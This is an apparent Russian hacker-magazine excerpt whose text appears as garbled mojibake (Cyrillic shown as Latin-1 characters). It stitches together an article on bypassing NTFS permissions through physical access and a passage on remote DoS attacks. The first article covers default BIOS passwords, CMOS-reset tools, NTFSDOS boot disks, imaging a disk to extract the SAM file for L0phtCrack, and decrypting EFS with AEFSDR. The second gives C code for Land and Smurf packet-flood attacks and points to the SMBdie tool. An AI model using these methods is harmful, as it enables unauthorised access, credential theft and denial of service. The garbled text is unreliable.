êîé-ëèáî äèñêîâîä. Óñòàíîâëåí ïà-
ðîëü íà BIOS. Äîñòóïíà çàãðóçêà ÎÑ
êîìïüþòåðà ïîä ëþáûì àêêàóíòîì. 

Ïîïðîáóé ââåñòè îäèí èç ñòàíäàðò-
íûõ ïàðîëåé (AWARD_SW äëÿ èçäå-

ëèÿ ôèðìû AWARD,
AMI äëÿ ïðîäóêöèè îä-
íîèìåííîé ôèðìû) ëè-
áî ïðè âêëþ÷åíèè
óäåðæèâàé êîìáèíàöèþ
êëàâèø
<Ctrl>+<Alt>+<Del>+<Ins>
èëè ïðîñòî êëàâèøó
<Ins>. Åñëè íå ïîìîãëî,
ïîïûòàéñÿ çàïóñòèòü íà
ìàøèíå ïðîãðàììó,
ñáðàñûâàþùóþ íàñò-
ðîéêè BIOS. Äëÿ
Windows ñóùåñòâóåò
äîñòàòî÷íî ìíîãî òàêèõ
ïðîãðàìì:
nopasswd.com, kill-
cmos.exe, awcrack.com è
ò.ä. Íàéòè èõ ìîæíî â
ñåòè. 

Åñëè âñå ïîïûòêè
òùåòíû, îñòàåòñÿ ïðè-
áåãíóòü ê âñêðûòèþ
êîðïóñà. Ìèíóñîâ ó ïî-
äîáíîãî ñïîñîáà íåñ-
êîëüêî: êðîìå ïàðîëÿ,
ñáðàñûâàåòñÿ åùå íåñ-
êîëüêî âàæíûõ íàñòðî-
åê (íàïðèìåð, âðåìÿ),
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×ÅÐÅÇ ÎÁÐÀÇÛ Ê ÑÅÐÄÖÓ26 ÀÒÀÊÀ

Åñëè çàãðóçêà ñ âíåøíåãî óñòðîéñòâà
ïðîøëà íîðìàëüíî è ñòàëè äîñòóïíû 

âñå ðàçäåëû æåñòêîãî äèñêà, òåáå îñòàåòñÿ
ñëèòü íóæíóþ èíôîðìàöèþ, ïðîèçâåñòè

íåîáõîäèìûå äåéñòâèÿ 
è áûñòðî óíîñèòü íîãè.

Óïîìÿíóòûå
ñïîñîáû
÷òåíèÿ
NTFS íå ÿâ-
ëÿþòñÿ ïà-
íàöååé.
NTFS ïîä-
äåðæèâàþò
ìíîãèå ÎÑ,
â òîì ÷èñëå
ðàçëè÷íûå
äèñòðèáóòè-
âû Linux,
Lindows,
BeOS, çàã-
ðóæàåìûå
òàêæå ñ
CD/DVD.

Âûáåðè êîäîâóþ ñòðàíèöó



ïðè÷åì èíîãäà çàãðóçêà íåâîçìîæíà
áåç èõ èçìåíåíèÿ. Ðàíî èëè ïîçäíî,
íî àäìèíèñòðàòîð çàìåòèò èçìåíåíèå
ïàðîëÿ. Â ýòîò ìîìåíò ëó÷øå íàõî-
äèòüñÿ íà ìàêñèìàëüíîì ðàññòîÿíèè
îò íåãî :). 

Ïîñëå èçìåíåíèÿ ïîðÿäêà çàãðóçêè
íóæíî âîñïîëüçîâàòüñÿ çàãðóçî÷íûì
äèñêîì (èëè äèñêåòàìè), îñíàùåííûì
äðàéâåðîì äîñòóïà ê ðàçäåëàì NTFS ñ
âîçìîæíîñòüþ çàïèñè. Äëÿ ïîäãîòîâ-
êè çàãðóçî÷íîãî êîìïëåêòà ïîíàäî-
áÿòñÿ ïðîãðàììà �NTFSDOS
Professional� è ÷åòûðå äèñêåòû.

Ïåðâàÿ ñëóæèò äëÿ íà÷àëüíîé çàã-
ðóçêè è ìîæåò áûòü ñîçäàíà â ëþáîé
ÎÑ Windows. Ëó÷øå âñåãî äëÿ ýòîé öå-
ëè ãîäèòñÿ FDD, ïîäãîòîâëåííàÿ â
ïðåñëîâóòîé Windows Me. ×òî áû íè
ãîâîðèëè ïðî ãëþ÷íîñòü Me, íî çàãðó-
çî÷íûå äèñêè îíà ãîòîâèò ëó÷øå âñåõ:
DOS çàãðóæàåòñÿ ìãíîâåííî, âêëþ÷å-
íà ïîääåðæêà CD, äàæå áåç óäàëåíèÿ
ëèøíèõ õåëïîâ îñòàåòñÿ ñâîáîäíîå
ìåñòî äëÿ ôàéëîâîãî ìåíåäæåðà
(íàïðèìåð, Volkov Commander) è
äðàéâåðà ìûøè (à êóäà áåç íåãî :)).
Ïåðåä èñïîëüçîâàíèåì äèñêåòà íóæ-
äàåòñÿ â íåáîëüøîì ïðåïàðèðîâàíèè.
Â ôàéëå config.sys íåîáõîäèìî èçìå-
íèòü çíà÷åíèå ïàðàìåòðà files=10 íà
files=50 èëè áîëüøåå. Îñòàëüíûå òðè
äèñêåòû ñêîðìè ïðîãðàììå
BootDisk.exe.

Åñëè êîðîòêî, òî ïîðÿäîê ðàáîòû
ñ ïîëó÷åííûì èíñòðóìåíòîì ñëåäó-
þùèé:
1. Çàãðóæàåøü êîìïüþòåð ñ ïåðâîé

äèñêåòû â ðåæèìå "Minimal boot"
2. Âðó÷íóþ çàïóñêàåøü ôàéë NTF-

SPRO.EXE ñî âòîðîé äèñêåòû
3. Ïî òðåáîâàíèþ âñòàâëÿåøü ñëå-

äóþùóþ äèñêåòó

4. Ïî îêîí÷àíèè çàãðóçêè ïðîãðàì-
ìû âîçâðàùàåøü â äèñêîâîä çàãðó-
çî÷íóþ äèñêåòó

Äàëüíåéøèå äåéñòâèÿ - íà òâîå óñ-
ìîòðåíèå. Ìîæåøü ïðîâåðèòü ðàçäåë
óòèëèòîé NTFSCHK ñ òðåòüåé äèñêåòû.
Ìîæåøü ïðîèçâîäèòü ìàíèïóëÿöèè ñ
ôàéëàìè è êàòàëîãàìè èç êîìàíäíîé
ñòðîêè èëè çàãðóçèâ ôàéëîâûé ìå-

íåäæåð. Ñæàòûå îáúåêòû, êàê è â
Windows 2000/XP, ïîääåðæèâàþòñÿ
ïðîçðà÷íî äëÿ ïîëüçîâàòåëÿ. Ðàçíè-
öà ïåðåä FAT îùóùàåòñÿ ëèøü â íåç-
íà÷èòåëüíî ïîíèæåííîé ñêîðîñòè ïðè
êîïèðîâàíèè/ïåðåìåùåíèè ôàéëîâ.
Âî èçáåæàíèå ïîâðåæäåíèÿ ñòðóêòó-
ðû äèñêà è êîððåêòíîãî ñîõðàíåíèÿ
äåñêðèïòîðîâ çàâåðøåíèå ðàáîòû
ñëåäóåò ïðîèçâîäèòü êîìáèíàöèåé
<Ctrl>+<Alt>+<Del>, à íå RESET èëè âûê-
ëþ÷åíèåì ïèòàíèÿ.

ÂÀÐÈÀÍÒ ÒÐÅÒÈÉ
Íà êîìïüþòåðå óñòàíîâëåíû äâå

îïåðàöèîííûå ñèñòåìû, îäíà èç êîòî-
ðûõ � Windows 9x.

Ñëèâàåøü ñ ñàéòà www.sysinternals.com
ïðîãðàììó NTFS for Windows 98. Îò-
ëè÷èå íàñòðîéêè ýòîé ïðîãðàììû îò
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Íåîáõîäèìûå äðàéâåðà NTFS

Óêàæè ïàïêó ñ äðàéâåðàìè NTS

Äîïîëíèòåëüíûå íàñòðîéêè

Norton Ghost 32 � äàìï äèñêà â Windows

Ðàáîòà ñ Ghost Explorer - êàê ñ Ïðîâîäíèêîì

Äëÿ óñïåøíîé óñòàíîâêè è íàñòðîéêè NTFSDOS Professional è
NTFS for Windows 98 ñëåäóåò çàðàíåå çàïàñòèñü íåîáõîäèìûìè
ôàéëàìè, âõîäÿùèìè â ñîñòàâ ÎÑ Windows 2000/XP/2003:
- autochk.exe
- c_1252.nls
- C_866.NLS
- c_437.nls
- l_intl.nls
- ntdll.dll
- ntfs.sys
- ntoskrnl.exe

ÑÏÈÑÎÊ ÔÀÉËÎÂ, ÍÅÎÁÕÎÄÈÌÛÕ ÄËß ÐÀÁÎÒÛ NTFS-
DOS PROFESSIONAL È NTFS FOR WINDOWS 98

Äëÿ ïîäãîòîâêè çàãðóçî÷íîãî êîìïëåêòà
ïîíàäîáÿòñÿ ïðîãðàììà �NTFSDOS

Professional� è ÷åòûðå äèñêåòû.



åå DOS-âåðñèè íåçíà÷èòåëüíî. Ïîñëå
óñòàíîâêè ñëåäóåò óêàçàòü ðàñïîëî-
æåíèå äðàéâåðîâ äëÿ äîñòóïà ê
NTFS. Çàòåì óêàçàííûå ôàéëû ïåðå-
ìåùàòü è òåì áîëåå óäàëÿòü íå ñëå-
äóåò, òàê êàê áåç íèõ ïðîãðàììà ðà-
áîòàòü íå áóäåò. Íàçíà÷ü áóêâû äëÿ
ïîäêëþ÷àåìûõ ðàçäåëîâ (êîòîðûå
åùå íå çàíÿòû). Â ðàçäåëå Advanced
íàñòðàèâàþòñÿ ðåæèìû áóôåðèçà-
öèè è ïåðèîäû îáíîâëåíèÿ ìåòàäàí-
íûõ. Ïîñëå ïåðåçàãðóçêè â ñïèñêå
äîñòóïíûõ äèñêîâ ïîÿâÿòñÿ ïîäêëþ-
÷åííûå ðàçäåëû. 

ÂÀÐÈÀÍÒ ×ÅÒÂÅÐÒÛÉ
Íà êîìïüþòåðå óñòàíîâëåíû äâå

îïåðàöèîííûå ñèñòåìû, îäíà èç êîòî-
ðûõ � Windows 9x. Íà FAT-äèñêå åñòü
ñâîáîäíîå ïðîñòðàíñòâî îáúåìîì íåì-
íîãî áîëüøå 60% îáúåìà äèñêà NTFS.

Äîñòàåøü ïàêåò ïðîãðàìì Norton
Ghost ïðîèçâîäñòâà Symantec, æåëà-
òåëüíî âåðñèè íå íèæå 8.0. Ýòîò ïàêåò
ïîçâîëÿåò äåëàòü ðåçåðâíûå êîïèè
êàê îòäåëüíûõ ïàðòèöèé, òàê è öåëûõ
äèñêîâ. Ñîõðàíÿÿ âñþ ôàéëîâóþ ñèñ-
òåìó â îäèí èëè íåñêîëüêî (â çàâèñè-
ìîñòè îò çàíèìàåìîãî îáúåìà) ôàé-
ëîâ, èñïîëüçóÿ ñæàòèå, êîòîðîå â
ñðåäíåì äîñòèãàåò 50%. Ïîääåðæèâà-
åòñÿ íåñêîëüêî íàèáîëåå ðàñïðîñòðà-
íåííûõ ôàéëîâûõ ñèñòåì: FAT, FAT32,
NTFS5, ext2 è HPFS. 

Ïðè ýòîì ïðîãðàììà Ghost Explorer
ïðåäîñòàâëÿåò äîñòóï ê ñîçäàííîìó

àðõèâó ñ âîçìîæíîñòüþ êîïèðîâà-
íèÿ/çàìåíû êàê îòäåëüíûõ ôàéëîâ,
òàê è öåëûõ äèðåêòîðèé! Ýòî çíà÷èò,
÷òî òû ìîæåøü ëåãêî ñîçäàòü îáðàç
ëþáîãî, íå òîëüêî NTFS äèñêà, à çàòåì
ñêîïèðîâàòü èç íåãî íóæíûå äàííûå
(íàïðèìåð, ôàéë SAM, îòäàâ åãî íà
ñúåäåíèå óòèëèòå L0phtCrack), ðàáî-
òàÿ â Windows 9x áåç ïåðåçàãðóçîê è
êàêèõ-ëèáî ìàíèïóëÿöèé ñ BIOS.

Íè Ghost for Windows, íè Ghost
Explorer íå òðåáóþò óñòàíîâêè. ×òîáû
ñîçäàòü îáðàç ïàðòèöèè, âûáåðè â
ìåíþ ïðîãðàììû Local -> Partition ->
To image è óêàæè ðàçäåë è ìåñòî, êó-
äà ñîõðàíèòü ïîëó÷åííûé îáðàç. Ñïî-
ñîá ñæàòèÿ óêàæè High. Ýòî ïîçâîëèò
ñîêðàòèòü ðàçìåð ïîëó÷åííîãî àðõè-
âà ïàðòèöèè äî 50%. Ïðîöåññ çàéìåò
âðåìÿ, êîòîðîå íàïðÿìóþ çàâèñèò îò
ïðîèçâîäèòåëüíîñòè êîìïüþòåðà.

ÂÑÒÐÎÅÍÍÎÅ ØÈÔÐÎÂÀÍÈÅ
Ïðåäïîëîæèì, ó òåáÿ óæå åñòü

äîñòóï ê ðàçäåëó NTFS, íî òû ïîëó-
÷èë ôèã ñ ìàñëîì. Êàê æå òàê? Âåäü
ãîâîðèëîñü, ÷òî íà ýòîì ýòàïå ìîæíî
çàáûòü îáî âñåõ ïðàâàõ äîñòóïà! Âåð-
íî, íî ïðàâà äîñòóïà çäåñü íè ïðè
÷åì. Äëÿ çàùèòû îò òàêèõ óìíèêîâ
Microsoft îñíàñòèëà ðàçäåëû NTFS5
äîïîëíèòåëüíîé çàùèòîé �
Encrypting File System (EFS, çàøèô-
ðîâàííàÿ ôàéëîâàÿ ñèñòåìà). NFS �
íàäñòðîéêà íàä NTFS, ïîçâîëÿþùàÿ
ïðîçðà÷íî äëÿ ïîëüçîâàòåëÿ øèô-
ðîâàòü è ðàñøèôðîâûâàòü ôàéëû. Â
ñåòè, ïå÷àòíûõ æóðíàëàõ è ìíîãî-
÷èñëåííûõ ó÷åáíèêàõ ìîæíî íàéòè
õâàëåáíûå îäû ñòîéêîñòè EFS-çàùè-
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Íåçàðåãèñò-
ðèðîâàííàÿ
AEFSDR
ðàñøèôðî-
âûâàåò
òîëüêî ïåð-
âûå 500
áàéò ôàéëà.
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Ïðîèçâîäèòåëè óïîìÿíóòûõ ïðîãðàìì:

www.sysinternals.com
www.symantec.com
www.elcomsoft.com

Èçâåñòíûé ñàéò ðóíåòà, ïîñâÿùåííûé èíôîðìàöèîííîé áåçîïàñ-
íîñòè - www.securitylab.ru

Ïðîãðàììû
NTFSDOS
Professional,
NTFS for
Windows 98
è Norton
Ghost ïîä-
äåðæèâàþò
êàê îáû÷-
íûå, òàê è
ñæàòûå
NTFS-äèñêè.

Èçìåíåíèÿ â îáðàçå âñåãäà ìîæíî ñîõðàíèòü

Ñíà÷àëà íàõîäèøü êëþ÷è øèôðîâàíèÿ Âûáèðàé, ÷òî õî÷åøü ðàñøèôðîâàòü

Ïðîöåññ çàéìåò âðåìÿ, êîòîðîå íàïðÿìóþ
çàâèñèò îò ïðîèçâîäèòåëüíîñòè

êîìïüþòåðà.

Óêàçàííûå ôàéëû ïåðåìåùàòü 
è òåì áîëåå óäàëÿòü íå ñëåäóåò.



òû. Ïðàâäà, àâòîðàìè ýòèõ îä ÿâëÿþò-
ñÿ òàê èëè èíà÷å îïëà÷èâàåìûå
Microsoft ëþäè :). Íî, êàê ãîâîðèòñÿ,
íà âñÿêóþ íîðêó íàéäåòñÿ áóðîâàÿ
óñòàíîâêà. È ïîÿâëÿþòñÿ ðàçëè÷íûå
óòèëèòû, ïðèçâàííûå óêðåïèòü è áåç
òîãî àâòîðèòåòíûå çàÿâëåíèÿ ìåëêî-
ìÿãêèõ îá î÷åðåäíîé àáñîëþòíîé çà-
ùèòå ïîëüçîâàòåëåé âñòðîåííûìè
ñðåäñòâàìè øèôðîâàíèÿ. 

Ïîìîæåò óòèëèòà Advanced EFS
Data Recovery 2.0 (AEFSDR), ïðîèç-
âåäåííàÿ ôèðìîé "Ýëêîìñîôò".
Ïðè âñåé àñêåòè÷íîñòè èíòåðôåéñà

ïðîãðàììà îáëàäàåò êîëîññàëüíûìè
âîçìîæíîñòÿìè: ðàáîòà ñ çàøèôðî-
âàííûìè ðàçäåëàìè Windows
2000/XP/XP-SP1/2003 ïðè çàùè-
ùåííîé ïîëüçîâàòåëüñêîé áàçå óòè-
ëèòîé SYSKEY, ðàñøèôðîâêà ïðè
èçâåñòíûõ è íåèçâåñòíûõ ïàðîëÿõ
ïîëüçîâàòåëåé è àäìèíèñòðàòîðîâ è
ïîâðåæäåííûõ çàïèñÿõ î êëþ÷àõ
øèôðîâàíèÿ è, êîíå÷íî æå, îáðà-
áîòêà «íåðàñøèôðóåìûõ» ôàéëîâ
ïî ïðè÷èíå êðàõà îïåðàöèîííîé
ñèñòåìû, òî åñòü îáðàáîòêà ôàéëî-
âûõ íàáîðîâ. E

Êàæäûé ìåõàíèçì çàùèòû,
áóäü òî ïàðîëè, àíòèâèðóñ èëè
NTFS, äåëàåò òîëüêî òî, ÷òî äåëà-
åò, è íå ÿâëÿåòñÿ çàùèòîé îò âñå-
ãî. Êðîìå òîãî, íåïðàâèëüíîå èñ-
ïîëüçîâàíèå çàùèòû ïîä÷àñ õó-
æå, ÷åì åå îòñóòñòâèå! Ïîýòîìó
î÷åíü âàæíî çíàòü, ÷òî ïðîèñõî-
äèò, êîãäà òû çàäåéñòâóåøü òó
èëè èíóþ çàùèòó, è ÷åì ýòî ìî-
æåò îáåðíóòüñÿ. 

Ôàéëîâàÿ ñèñòåìà NTFS áûëà è
îñòàåòñÿ îäíèì èç ëó÷øèõ ðåøå-
íèé êàê äëÿ êëèåíòñêèõ ðàáî÷èõ
ñòàíöèé, òàê è äëÿ ñåðâåðîâ. Ïî
êðàéíåé ìåðå, ïðè íåêîððåêòíîé
ïåðåçàãðóçêå ïîëüçîâàòåëü áóäåò
èçáàâëåí îò ìó÷èòåëüíîãî ñêðèïà
ScanDisk èëè fsck. Îäíàêî ñðåä-
ñòâà ðàçãðàíè÷åíèÿ äîñòóïà NTFS
ðàáîòàþò òîëüêî â òî âðåìÿ, êîãäà
çàãðóæåíà îïåðàöèîííàÿ ñèñòå-
ìà. È åñëè åñòü âîçìîæíîñòü åå
ïîäìåíèòü, òî íèêòî íå çàïðåòèò
ðàáîòàòü ñ ïàïêàìè, êóäà â îáû÷íîå âðåìÿ òåáÿ áû íå ïóñòèëè.

Åäèíñòâåííûé èçâåñòíûé ñïîñîá çàùèòû îò âçëîìà ñèñòåìû ïðè
ôèçè÷åñêîì äîñòóïå � ýòî øèôðîâàíèå äàííûõ. Îäíàêî òóò âñòàåò
ïðîáëåìà «ïîñëåäíåãî ñåêðåòà». Â EFS êëþ÷, èñïîëüçóåìûé äëÿ
øèôðîâàíèÿ êëþ÷à øèôðîâàíèÿ ôàéëîâ, çàøèôðîâàí (ïðîøó
ïðîùåíèÿ çà òàâòîëîãèþ) ñ èñïîëüçîâàíèåì ïàðîëÿ ïîëüçîâàòåëÿ.
Òàê ÷òî åñëè ïàðîëü � 12345, òî âîññòàíîâèòü çàøèôðîâàííóþ èí-
ôîðìàöèþ ïðîùå ïðîñòîãî. Òî æå îòíîñèòñÿ ê PGP, WinRAR è äðó-
ãèì ñèñòåìàì. Ëó÷øå õðàíèòü êëþ÷è øèôðîâàíèÿ íà âíåøíåì íî-
ñèòåëå � äèñêåòå, Flash-äèñêå èëè ñìàðò-êàðòå. 

È íå çàáûâàé, ÷òî åñòü åùå è ïîíÿòèå ôèçè÷åñêîé áåçîïàñíîñòè òå-
áÿ ñàìîãî. Ñ ïîìîùüþ ïðîêòî-òåðìàëüíîãî êðèïòîàíàëèçà, ãäå èñ-
ïîëüçóåòñÿ ïàÿëüíèê èëè ðåçèíîâàÿ äóáèíêà :), êëþ÷è äëèíîé
2048 áèò ïîäáèðàþòñÿ îáû÷íî ñ 2-3 óäàðîâ.

ÌÍÅÍÈÅ ÝÊÑÏÅÐÒÀ

offtopic, ïðîôåññèîíàë â îáëàñòè IT-
áåçîïàñíîñòè, ïîñòîÿííûé àâòîð è
ìîäåðàòîð ôîðóìîâ ïðîåêòà
Securitylab.ru, MCSE è MCT

Ïîìîæåò óòèëèòà Advanced EFS Data
Recovery 2.0 (AEFSDR), ïðîèçâåäåííàÿ ôèð-

ìîé "Ýëêîìñîôò".



Áîðèñ Âîëüôñîí (borisvolfson@mail.ru, borisvolfson.h11.ru)

Î á óäàëåííûõ àòàêàõ ñêàçàíî ìíîãî. Â èíòåðíåòå òî è äåëî âñòðå÷àåøü ñëîâà «DoS», «DDoS», «Syn-flood»,
«PoD»... Â äàííîé ñòàòüå ìû ïîñòàðàåìñÿ íå òîëüêî ðàññêàçàòü îá îñíîâíûõ âèäàõ àòàê, íî è ñóõèì ïðîãðàììíûì

êîäîì ïîêàçàòü, êàê ìîæíî èñïîëüçîâàòü ðàçëè÷íûå áðåøè â ñèñòåìå áåçîïàñíîñòè äëÿ èõ ïðîâåäåíèÿ.

ÓÄÀÐ 
ÈÇÄÀËÅÊÀ
ÒÅÎÐÈß È ÏÐÀÊÒÈÊÀ ÓÄÀËÅÍÍÛÕ ÀÒÀÊ

ñåìèðíàÿ ïàóòèíà çà-
ðîäèëàñü â íåäðàõ ìè-
íèñòåðñòâà îáîðîíû
ÑØÀ. Óäèâèòåëüíî, íî
äëÿ èíòåðíåòà áûëè

ðàçðàáîòàíû íå ñàìûå çàùèùåííûå è
áåçîïàñíûå ïðîòîêîëû TCP/IP. Èìåí-
íî ðàçëè÷íûå òîíêîñòè ðåàëèçàöèè
TCP/IP- è äðóãèõ ïðîòîêîëîâ èñïîëü-
çóþòñÿ äëÿ ïðîâåäåíèÿ óäàëåííûõ
àòàê. Êîíå÷íî, îøèáêè è íåäîðàáîòêè,
êîòîðûìè ìîæåò âîñïîëüçîâàòüñÿ
âçëîìùèê, åñòü íå òîëüêî â ïðîòîêî-
ëàõ è îïåðàöèîííûõ ñèñòåìàõ: óÿçâè-
ìîñòè â ïðèêëàäíîé ïðîãðàììå ìîãóò
áûòü òàêæå èñïîëüçîâàíû äëÿ àòàêè.

Ñ ×ÅÌ ÅÄßÒ 
ÓÄÀËÅÍÍÛÅ ÀÒÀÊÈ

Äëÿ íà÷àëà âçëîìùèê äîëæåí
èìåòü õîòÿ áû îäíó ìàøèíó, ïîäêëþ-
÷åííóþ ê èíòåðíåòó, äëÿ ïðîâåäåíèÿ
óäàëåííîé àòàêè :). Åñëè ïëàíèðóåòñÿ
DDoS-àòàêà (Distributed Denial of
Service), òî ÷åì áîëüøå ìàøèí áóäåò
èñïîëüçîâàíî, òåì ëó÷øå. Îáû÷íî
äëÿ çàõâàòà ïèøåòñÿ âèðóñ (÷åðâü,
òðîÿí), êîòîðûé çàðàæàåò äîñòàòî÷íî
áîëüøîå êîëè÷åñòâî ìàøèí. Çàòåì íà
àòàêóåìûé óçåë îäíîâðåìåííî ïîñû-
ëàåòñÿ ìíîæåñòâî çàïðîñîâ, ïîñëå ÷å-
ãî æåðòâà áëàãîïîëó÷íî îêàçûâàåòñÿ
â àóòå - ïðîèñõîäèò îòêàç â îáñëóæè-
âàíèè. Àòàêó ìîæíî ïðîâåñòè è ñ îä-
íîãî êîìïüþòåðà, íàðóøèâ ôóíêöèî-
íàëüíîñòü àòàêóåìîé ìàøèíû. Òàêèå
àòàêè íàçûâàþò ïðîñòî DoS, îíè çàê-
ëþ÷àþòñÿ íå â íåçàìåòíîé óñòàíîâêå
DOS'a âìåñòî ôîðòî÷åê, êàê äóìàþò
íåêîòîðûå, à â òîì, ÷òîáû ïîâåñèòü
àòàêóåìûé êîìï. 

SMBDIE: ÂÍÅÇÀÏÍÀß ÑÌÅÐÒÜ
SMB (Server Message Block) - ýòî

ñåòåâîé ïðîòîêîë îäíîé íåáåçûçâåñò-
íîé ôèðìû íà áóêâó "M" äëÿ ðàáîòû ñ
ôàéëàìè, ïðèíòåðàìè è òîìó ïîäîá-
íûìè âåùàìè. Âèíäó (NT/2k/XP/.NET
RC1), ó êîòîðîé âêëþ÷åí NETBIOS, òà-
êàÿ àòàêà çàïðîñòî îòðàâèò â íîêàóò.
Òåîðåòè÷åñêè SMBdie ìîæåò ïîçâî-
ëèòü âûïîëíèòü íà óäàëåííîé ìàøè-
íå ïðîèçâîëüíûé êîä. À íà ïðàêòèêå
óæå ðåàëèçîâàíà äîâîëüíî ýôôåê-

òèâíàÿ DoS-àòàêà. Äëÿ óáèéñòâà SMB
íåîáõîäèìî ïîñëàòü ñïåöèàëüíûé
çàïðîñ. Íàðîäíûìè óìåëüöàìè ñîçäà-
íà ïðîãðàììà SMBdie äëÿ ïðîâåäåíèÿ
àòàêè, ñêà÷àòü åå ìîæíî ñ ñàéòà packet-
storm.linuxsecurity.com. Ñàéò äîâîëüíî íà-
äåæíûé, íî ëó÷øå ëèøíèé ðàç ïðîâå-
ðèòü ñêà÷àííîå àíòèâèðóñîì, âåäü â
ïðîöåññå ðàáîòû SMBdie åãî íóæíî
áóäåò îòêëþ÷èòü.

×òîáû ïðîâåñòè àòàêó, äîñòàòî÷íî
óêàçàòü IP-àäðåñ è NETBIOS-èìÿ
æåðòâû è íàæàòü OK, òî åñòü Kill, è
ìîæíî ïîæåëàòü àòàêóåìîìó êîìïü-
þòåðó ñïîêîéíîé íî÷è. Êëþ÷åâîé
ôðàãìåíò ýòîé àòàêè ìû íå áóäåì
çäåñü ïðèâîäèòü (ñëèøêîì áîëü-
øîé), íî íàñòîÿùèå õàêåðû ìîãóò
íàéòè èñõîäíûé êîä ïðîãðàììû äëÿ
îðãàíèçàöèè àòàê, èñïîëüçóþùèõ
SMB, â òîì ÷èñëå è ïîä Linux. 

LAND: ÑÄÅËÀÉ ÑÀÌ
Çà÷åì ïîñûëàòü ìíîæåñòâî çàï-

ðîñîâ óäàëåííîìó êîìïüþòåðó, êàê
ýòî ïðîèñõîäèò ïðè áîëüøèíñòâå
DoS-àòàê, åñëè îí ìîæåò ñäåëàòü ýòî
ñàì? Èòàê, ïðåâðàùàåì êîìïüþòåð-
æåðòâó â êàìèêàäçå. Äåëî â òîì, ÷òî
TCP/IP ïîçâîëÿåò îòïðàâëÿòü IP-ïàêå-
òû îò èìåíè ëþáîãî õîñòà ñåòè. Òàêèì
îáðàçîì, íè÷òî íå ìåøàåò ïîñëàòü
æåðòâå IP-ïàêåò, ãäå â êà÷åñòâå àäðå-
ñà îòïðàâèòåëÿ áóäåò óêàçàí åå
ñîáñòâåííûé àäðåñ. Ïîðò ïîëó÷àòåëÿ
òàêæå äîëæåí ñîâïàäàòü ñ ïîðòîì
îòïðàâèòåëÿ. Êàê íè ñòðàííî ýòî çâó-

÷èò, äëÿ íåêîòîðûõ îïåðàöèîííûõ
ñèñòåì òàêîé IP-ïàêåò îêàçûâàåòñÿ
ïîëíîé íåîæèäàííîñòüþ. È êîìïüþ-
òåð ñ òàêîé îñüþ ïûòàåòñÿ ïîñëàòü
îòâåò ñàì ñåáå, â ðåçóëüòàòå ÷åãî
âîçíèêàåò çàöèêëèâàíèå. Ïîñìîòðèì
íà ôðàãìåíò êîäà ýòîé ñòàðåíüêîé,
íî âåñåëîé àòàêè.

// ïåðåìåííûå
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
struct ip * ipheader=(struct ip *) buffer;
// èùåì õîñò ïî èìåíè
hoste = gethostbyname(argv[1]);
bcopy(hoste->h_addr,&sin.sin_addr,hoste-

>h_length);
// ïåðåâîäèì íîìåð ïîðòà â ÷èñëî
sin.sin_port = htons(atoi(argv[2]));
sock = socket(AF_INET, SOCK_RAW, 255);
// óñòàíàâëèâàåì àäðåñ îòïðàâèòåëÿ è

ïîëó÷àòåëÿ
ipheader->ip_src=sin.sin_addr;
ipheader->ip_dst=sin.sin_addr;
// óñòàíàâëèâàåì ïîðò îòïðàâèòåëÿ è

ïîëó÷àòåëÿ
tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port;
// ïîñûëàåì ïàêåò
sendto(sock,buffer,sizeof(struct ip)+size-

of(struct tcphdr),0,(struct sockaddr *)
&sin,sizeof(struct sockaddr_in);

Â ýòîì îòðûâêå êîäà ìû ïîñòàðàëèñü
ïîêàçàòü ñàìîå ãëàâíîå, îïóñòèâ ìå-
íåå âàæíûå, íà íàø âçãëÿä, ôðàãìåí-
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òû. Ñëåäóåò îáðàòèòü îñîáîå âíèìà-
íèå íà òî, êàê óñòàíàâëèâàåòñÿ àä-
ðåñ/ïîðò îòïðàâèòåëÿ è ïîëó÷àòåëÿ:
îíè ñîâïàäàþò.

Ñóùåñòâóåò áîëåå ïðîäâèíóòàÿ è
ñîâðåìåííàÿ ðåàëèçàöèÿ àòàêè Land -
La Tierra. Åå èñõîäíèêè òàêæå ñâîáîä-
íî ðàñïðîñòðàíÿþòñÿ â èíòåðíåòå.

SMURF: ÇÎÌÁÈ
Ó ÒÅÁß ÍÀ ÑËÓÆÁÅ

Íå âñÿêèé êîìïüþòåð ïîëó÷àåòñÿ
çàñòàâèòü óíè÷òîæèòü ñåáÿ àòàêîé
Land: ýòî çàâèñèò îò îñè. Íî ÷òî åñëè
îòîñëàòü ICMP-çàïðîñ îò èìåíè
êîìïüþòåðà-æåðòâû, äà íåîáû÷íûé, à
øèðîêîâåùàòåëüíûé (broadcast)? Òà-
êîé çàïðîñ ïîëó÷àò âñå ìàøèíû ïîä-
ñåòè è äðóæíî íàïðàâÿò îòâåò êîìïü-
þòåðó-æåðòâå. 

Ïðèâåäåì îäíó èç ðåàëèçàöèé
Smurf:

void smurf (int sock, struct sockaddr_in
sin, u_long dest, int psize)

{
// IP-çàãîëîâîê
struct iphdr *ip;
// ICMP-çàãîëîâîê
struct icmphdr *icmp;
char *packet;
packet = malloc(sizeof(struct iphdr) +

sizeof(struct icmphdr) + psize);
ip = (struct iphdr *)packet;
icmp = (struct icmphdr *) (packet + size-

of(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) +

sizeof(struct icmphdr) + psize);
//ãîòîâèì IP-ïàêåò
ip->tot_len = htons(sizeof(struct iphdr) +

sizeof(struct icmphdr) + psize);
ip->ihl = 5;
ip->version = 4;
ip->ttl = 255;
ip->tos = 0;
ip->frag_off = 0;
ip->protocol = IPPROTO_ICMP;
ip->saddr = sin.sin_addr.s_addr;
ip->daddr = dest;
ip->check = in_chksum((u_short *)ip, size-

of(struct iphdr));
//ãîòîâèì ICMP-ïàêåò
icmp->type = 8;
icmp->code = 0;

icmp->checksum = in_chksum((u_short
*)icmp, sizeof(struct icmphdr) + psize);

// ïîñûëàåì ïàêåò
sendto(sock, packet, sizeof(struct iphdr) +

sizeof(struct icmphdr) + psize, 
0, (struct sockaddr *)&sin, sizeof(struct

sockaddr)); 
free(packet);
}

Çàìå÷àíèå îòíîñèòåëüíî øèðîêîâå-
ùàòåëüíûõ àäðåñîâ: äëÿ ïîäñåòè
208.131.0.0 àäðåñ 208.131.255.255 áó-
äåò øèðîêîâåùàòåëüíûì. Êñòàòè, î
ðàáîòå ñ raw sockets (÷òî è ïîçâîëÿåò
íàì îòïðàâëÿòü ïàêåòû ñ ïðîèçâîëü-
íûõ IP) ìîæíî ïðî÷åñòü â ñòàòüå
«Ïðåïàðèðóåì IP», îïóáëèêîâàííîé â
«Êîäèíãå» Õàêåðà, web-âåðñèÿ:
